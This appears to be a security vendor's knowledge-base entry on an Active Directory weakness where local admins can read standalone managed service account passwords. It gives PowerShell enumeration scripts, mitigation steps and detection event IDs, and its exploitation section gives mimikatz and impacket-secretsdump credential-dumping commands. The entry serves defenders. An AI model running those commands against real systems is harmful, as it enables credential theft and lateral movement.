DUMP_SMSA_PASSWORD

Summary

FSProtect ACL Alias	DUMP_SMSA_PASSWORD
Affected Object Types	Standalone Managed Service Accounts
Exploitation Certainty	Unlikely
AD Attribute	msDS-HostServiceAccount
AD Attribute Guid	77b5b886-944a-11d1-aebd-0000f80367c1

Description

The msDS-HostServiceAccount attribute in Active Directory is used to display the service accounts that have been assigned to a specific computer. Administrators rely on this attribute to verify which service accounts are designated to run critical services on that machine, ensuring proper configuration and oversight of account assignments.

However, if access controls around this attribute are not properly enforced, a user with local administrative privileges on the computer may exploit this to access sensitive data. Specifically, while the attribute itself merely lists the assigned service accounts, local administrators can potentially access additional data such as stored credentials or passwords associated with these service accounts. An attacker leveraging such access can extract sensitive credential information, allowing them to impersonate trusted service accounts. This could lead to unauthorized access, privilege escalation, lateral movement within the network, and a broader compromise of system integrity.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate DUMP_SMSA_PASSWORD entries.

1. Find-DumpSMSAPassword function

function Find-DumpSMSAPassword {
   
    [CmdletBinding()]
    param (
        [string]$Target = $null,
        [string]$OutputPath = "sMSA_Host_Report.csv"
    )

    # Load ActiveDirectory module if not already loaded
    if (-not (Get-Module -Name ActiveDirectory)) {
        Write-Host "Attempting to load ActiveDirectory module..."
        try {
            Import-Module ActiveDirectory
            Write-Host "ActiveDirectory module loaded successfully."
        }
        catch {
            Write-Error "Failed to load ActiveDirectory module. Please ensure RSAT (Remote Server Administration Tools) for PowerShell is installed."
            return
        }
    }

    $foundSMSAHosts = @()
    $computers = @()

    try {
        if ($Target) {
            Write-Host "Searching for Service Master Account on specific computer: '$Target'..."
            # Get the specific computer object using its name or Distinguished Name
            $computer = Get-ADComputer -Identity $Target -Properties 'msDS-HostServiceAccount' -ErrorAction Stop
            if ($computer) {
                $computers += $computer
            } else {
                Write-Output "Computer '$Target' not found."
                return
            }
        } else {
            Write-Host "Searching for all computers with a configured Service Managed Service Account (sMSA)..."
            # Get all computer objects with the 'msDS-HostServiceAccount' property populated
            $computers = Get-ADComputer -Filter "msDS-HostServiceAccount -like '*'" -Properties 'msDS-HostServiceAccount' -ErrorAction Stop
        }

        if (-not $computers) {
            Write-Output "No computers with a configured Service Master Account were found."
            return
        }

        # Iterate through the computers and their sMSA entries
        foreach ($computer in $computers) {
            $computerName = $computer.Name
            
            # The msDS-HostServiceAccount property can contain multiple values
            if ($computer.'msDS-HostServiceAccount') {
                foreach ($sMSAAccount in $computer.'msDS-HostServiceAccount') {
                    $foundSMSAHosts += [PSCustomObject]@{
                        "Message" = "Computer '$computerName's local admins can potentially read the password for sMSA account '$sMSAAccount'."
                    }
                }
            }
        }
    }
    catch {
        Write-Error "Failed to retrieve Active Directory computers: $($_.Exception.Message)"
        return
    }

    # Export the results to CSV if any were found
    if ($foundSMSAHosts.Count -gt 0) {
        if ($Target) {
            Write-Host "Found $($foundSMSAHosts.Count) entries on computer '$Target'."
        } else {
            Write-Host "Found $($foundSMSAHosts.Count) entries for computers with configured Service Managed Service Accounts."
        }
        
        try {
            $foundSMSAHosts | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Output "Results exported successfully to '$OutputPath'"
        }
        catch {
            Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"
        }
    } else {
        if ($Target) {
            Write-Output "Computer '$Target' has no configured Service Master Accounts."
        } else {
            Write-Output "No computers were found with configured Service Master Accounts."
        }
    }
}

2. Scan all domain computers

Find-DumpSMSAPassword

3. Scan a specific computer object

Find-DumpSMSAPassword -Target "vm02"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate DUMP_SMSA_PASSWORD entries without relying on any external modules or dependencies.

1. Find-DumpSMSAPasswordSimple function

function Find-DumpSMSAPasswordSimple {
    [CmdletBinding()]
    param (
        [string]$Target = $null,
        [string]$OutputPath = "sMSA_Host_Report.csv"
    )

    $foundSMSAHosts = @()
    $entries = @()

    try {
        $root   = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")
        $baseDN = $root.Properties["defaultNamingContext"][0]
        $searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$baseDN")
        
        if ($Target) {
            Write-Verbose "Searching for computers referencing sMSA '$Target'..."
            $escapedTarget = $Target -replace '([()\\*])', '\\$1'  # Escape LDAP filter special chars
            $searcher.Filter = "(&(objectCategory=computer)(msDS-HostServiceAccount=$escapedTarget))"
        } else {
            Write-Verbose "Searching all computers with msDS-HostServiceAccount set..."
            $searcher.Filter = "(&(objectCategory=computer)(msDS-HostServiceAccount=*))"
        }

        $searcher.PageSize = 1000
        $searcher.PropertiesToLoad.Add("msDS-HostServiceAccount") | Out-Null
        $searcher.PropertiesToLoad.Add("cn") | Out-Null

        $results = $searcher.FindAll()
        Write-Verbose "Found $($results.Count) matching computer(s)."

        $entries = foreach ($result in $results) {
            try { $result.GetDirectoryEntry() }
            catch { Write-Warning "Could not bind entry: $_"; continue }
        }
    } catch {
        Write-Error "LDAP search failed: $_"
        return
    }

    foreach ($entry in $entries) {
        $computerName = $entry.Properties["cn"][0]
        $smsas = $entry.Properties["msDS-HostServiceAccount"]
        if ($smsas) {
            foreach ($sMSA in $smsas) {
                $foundSMSAHosts += [PSCustomObject]@{
                    Message = "Computer '$computerName's local admins can potentially read the password for sMSA account '$sMSA'."
                }
            }
        }
    }

    if ($foundSMSAHosts.Count -gt 0) {
        $foundSMSAHosts | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
        Write-Host "Exported $($foundSMSAHosts.Count) entr$(if($foundSMSAHosts.Count -eq 1){'y'}else{'ies'}) to $OutputPath"
    } else {
        Write-Host "No computers found with configured Service Managed Service Accounts."
    }
}

2. Scan all domain computers

Find-DumpSMSAPasswordSimple

Active Directory Users and Computers

Note: This edge cannot be identified directly with the GUI, but you can see assigned sMSAs in the computer's Attribute Editor Values sectionn.

1. Open Active Directory Users and Computers on your Windows server.

2. Right-click on the Computer.

3. Select Properties from the context menu.

4. In the Properties window, navigate to the Attribute Editor tab.

5. In the Attribute Editor list, locate and check the option msDS-HostServiceAccount by double-clicking.

6. Click OK to close the dialog boxes.

Exploitation

This permission can be exploited on Windows systems with Mimikatz, while on Linux systems, tools such as Impacket-secretsdump can be used effectively for exploitation. Mimikatz, Impacket tools

Windows

An attacker can read sMSA passwords with these cmdlets on Windows. (Run this command on a computer that is vulnerable.)

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"

Linux

An attacker can read sMSA passwords with this command on Linux:

impacket-secretsdump '<Domain FQDN>/<Local Admin User>:<Password>@<sMSA>' -target-ip <Server IP>

Example:

impacket-secretsdump 'forestall.labs/ANGEL_ROSA:Test123.!@fssql' -target-ip 192.168.231.24

Mitigation

You can mitigate DUMP_SMSA_PASSWORD by following these steps:

1. Open Active Directory Users and Computers on your Windows server.

2. Right-click on the Computer.

3. Select Properties from the context menu.

4. In the Properties window, navigate to the Attribute Editor tab.

5. Find msDS-HostServiceAccount attribute on the list and double click.

6. In the values list, locate and remove the unwanted sMSA value using the Remove button after clicking the value.

7. Click OK and Apply to close the dialog boxes.

Detection

Adding new Access Control Entries to Active Directory objects modifies the object’s ntSecurityDescriptor attribute. These changes can be detected with Event IDs 5136 and 4662 to identify dangerous modifications.

Event ID	Description	Fields/Attributes	References
5136	A directory service object was modified.	ntSecurityDescriptor	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662	An operation was performed on an object.	AccessList, AccessMask	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662

References

Group Managed Service Accounts Overview - Microsoft Docs

Assessing sMSA - Simon Dotsch

The Windows Security Journey: Standalone Managed Service Account (sMSA) - Medium